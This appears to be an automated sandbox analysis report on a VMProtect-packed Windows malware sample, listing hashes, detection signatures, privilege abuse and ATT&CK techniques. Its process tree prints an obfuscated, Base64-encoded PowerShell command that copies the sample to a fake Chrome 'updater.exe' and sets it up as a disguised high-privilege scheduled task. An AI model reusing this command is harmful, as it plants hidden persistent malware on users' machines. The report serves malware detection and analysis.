ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc

Analysis

max time kernel
53s
max time network
149s
platform
windows10_x64
resource
win10-20220414-en
submitted
10-06-2022 08:04

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General

Target

ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc.exe
Size

4.0MB
MD5

8d042aad9f0f5f149fdf1fad7320fad1
SHA1

977ac40982019f42975f36dc603b566ca0f6dc67
SHA256

ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc
SHA512

fe092f1a37b029cafef3e01306dfc9c793792d0f5411c6983c10e671844c0d26652e4d7bf2356531557b8b24e8acb5bcb7c137aa27d96c6ea53ee5b260b75cea

Score

8^/10

vmprotect

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid	Process
4616	updater.exe

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/2308-118-0x0000000000860000-0x000000000102C000-memory.dmp	vmprotect
behavioral1/files/0x000a00000001abeb-158.dat	vmprotect
behavioral1/files/0x000a00000001abeb-159.dat	vmprotect

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid	Process
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeIncreaseQuotaPrivilege	2856	powershell.exe
Token: SeSecurityPrivilege	2856	powershell.exe
Token: SeTakeOwnershipPrivilege	2856	powershell.exe
Token: SeLoadDriverPrivilege	2856	powershell.exe
Token: SeSystemProfilePrivilege	2856	powershell.exe
Token: SeSystemtimePrivilege	2856	powershell.exe
Token: SeProfSingleProcessPrivilege	2856	powershell.exe
Token: SeIncBasePriorityPrivilege	2856	powershell.exe
Token: SeCreatePagefilePrivilege	2856	powershell.exe
Token: SeBackupPrivilege	2856	powershell.exe
Token: SeRestorePrivilege	2856	powershell.exe
Token: SeShutdownPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeSystemEnvironmentPrivilege	2856	powershell.exe
Token: SeRemoteShutdownPrivilege	2856	powershell.exe
Token: SeUndockPrivilege	2856	powershell.exe
Token: SeManageVolumePrivilege	2856	powershell.exe
Token: 33	2856	powershell.exe
Token: 34	2856	powershell.exe
Token: 35	2856	powershell.exe
Token: 36	2856	powershell.exe
Token: SeIncreaseQuotaPrivilege	2856	powershell.exe
Token: SeSecurityPrivilege	2856	powershell.exe
Token: SeTakeOwnershipPrivilege	2856	powershell.exe
Token: SeLoadDriverPrivilege	2856	powershell.exe
Token: SeSystemProfilePrivilege	2856	powershell.exe
Token: SeSystemtimePrivilege	2856	powershell.exe
Token: SeProfSingleProcessPrivilege	2856	powershell.exe
Token: SeIncBasePriorityPrivilege	2856	powershell.exe
Token: SeCreatePagefilePrivilege	2856	powershell.exe
Token: SeBackupPrivilege	2856	powershell.exe
Token: SeRestorePrivilege	2856	powershell.exe
Token: SeShutdownPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeSystemEnvironmentPrivilege	2856	powershell.exe
Token: SeRemoteShutdownPrivilege	2856	powershell.exe
Token: SeUndockPrivilege	2856	powershell.exe
Token: SeManageVolumePrivilege	2856	powershell.exe
Token: 33	2856	powershell.exe
Token: 34	2856	powershell.exe
Token: 35	2856	powershell.exe
Token: 36	2856	powershell.exe
Token: SeIncreaseQuotaPrivilege	2856	powershell.exe
Token: SeSecurityPrivilege	2856	powershell.exe
Token: SeTakeOwnershipPrivilege	2856	powershell.exe
Token: SeLoadDriverPrivilege	2856	powershell.exe
Token: SeSystemProfilePrivilege	2856	powershell.exe
Token: SeSystemtimePrivilege	2856	powershell.exe
Token: SeProfSingleProcessPrivilege	2856	powershell.exe
Token: SeIncBasePriorityPrivilege	2856	powershell.exe
Token: SeCreatePagefilePrivilege	2856	powershell.exe
Token: SeBackupPrivilege	2856	powershell.exe
Token: SeRestorePrivilege	2856	powershell.exe
Token: SeShutdownPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeSystemEnvironmentPrivilege	2856	powershell.exe
Token: SeRemoteShutdownPrivilege	2856	powershell.exe
Token: SeUndockPrivilege	2856	powershell.exe
Token: SeManageVolumePrivilege	2856	powershell.exe
Token: 33	2856	powershell.exe
Token: 34	2856	powershell.exe
Token: 35	2856	powershell.exe
Token: 36	2856	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc.exe

description	pid	Process	procid_target
PID 2308 wrote to memory of 2856	2308	ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc.exe	67
PID 2308 wrote to memory of 2856	2308	ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc.exe	67

C:\Users\Admin\AppData\Local\Temp\ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc.exe
"C:\Users\Admin\AppData\Local\Temp\ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AaQAjAD4AIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBvAGEAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AEwAbwBnAE8AbgApACAAPAAjAGwAYwBkAGsAIwA+ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABpAHMAYQBsAGwAbwB3AEgAYQByAGQAVABlAHIAbQBpAG4AYQB0AGUAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAE8AbgBJAGQAbABlAEUAbgBkACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAEQAYQB5AHMAIAAxADAAMAAwACkAKQAgADwAIwB2AHYAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHAAdgAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAZAA3ADgAYwA5ADUAOAAwAGIAMAAzAGMAZgAzADkANAAzAGIAYgA5ADgAOQBiADMAZgBjADgAZAA1AGMAZgBkADMANwA4ADIAOABjADIAZABiAGUAZgAzAGMAOQBkAGQANwBhAGYAZgBjADMANgBlADUAOQAwADkAMgBiAGMALgBlAHgAZQAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAA8ACMAdQBtAG8AIwA+ADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAAPAAjAGIAYQBqACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAOwA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2856

C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
1⤵
- Executes dropped EXE
PID:4616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe

Filesize
4.0MB

MD5
8d042aad9f0f5f149fdf1fad7320fad1

SHA1
977ac40982019f42975f36dc603b566ca0f6dc67

SHA256
ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc

SHA512
fe092f1a37b029cafef3e01306dfc9c793792d0f5411c6983c10e671844c0d26652e4d7bf2356531557b8b24e8acb5bcb7c137aa27d96c6ea53ee5b260b75cea

Download Submit
C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe

Filesize
4.0MB

MD5
8d042aad9f0f5f149fdf1fad7320fad1

SHA1
977ac40982019f42975f36dc603b566ca0f6dc67

SHA256
ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc

SHA512
fe092f1a37b029cafef3e01306dfc9c793792d0f5411c6983c10e671844c0d26652e4d7bf2356531557b8b24e8acb5bcb7c137aa27d96c6ea53ee5b260b75cea

Download Submit
memory/2308-118-0x0000000000860000-0x000000000102C000-memory.dmp

Filesize
7.8MB

Download
memory/2308-121-0x0000000001850000-0x0000000001862000-memory.dmp

Filesize
72KB

Download
memory/2308-122-0x000000001CF40000-0x000000001D112000-memory.dmp

Filesize
1.8MB

Download
memory/2856-123-0x0000000000000000-mapping.dmp

Download
memory/2856-128-0x00000204BEA90000-0x00000204BEAB2000-memory.dmp

Filesize
136KB

Download
memory/2856-131-0x00000204D7160000-0x00000204D71D6000-memory.dmp

Filesize
472KB

Download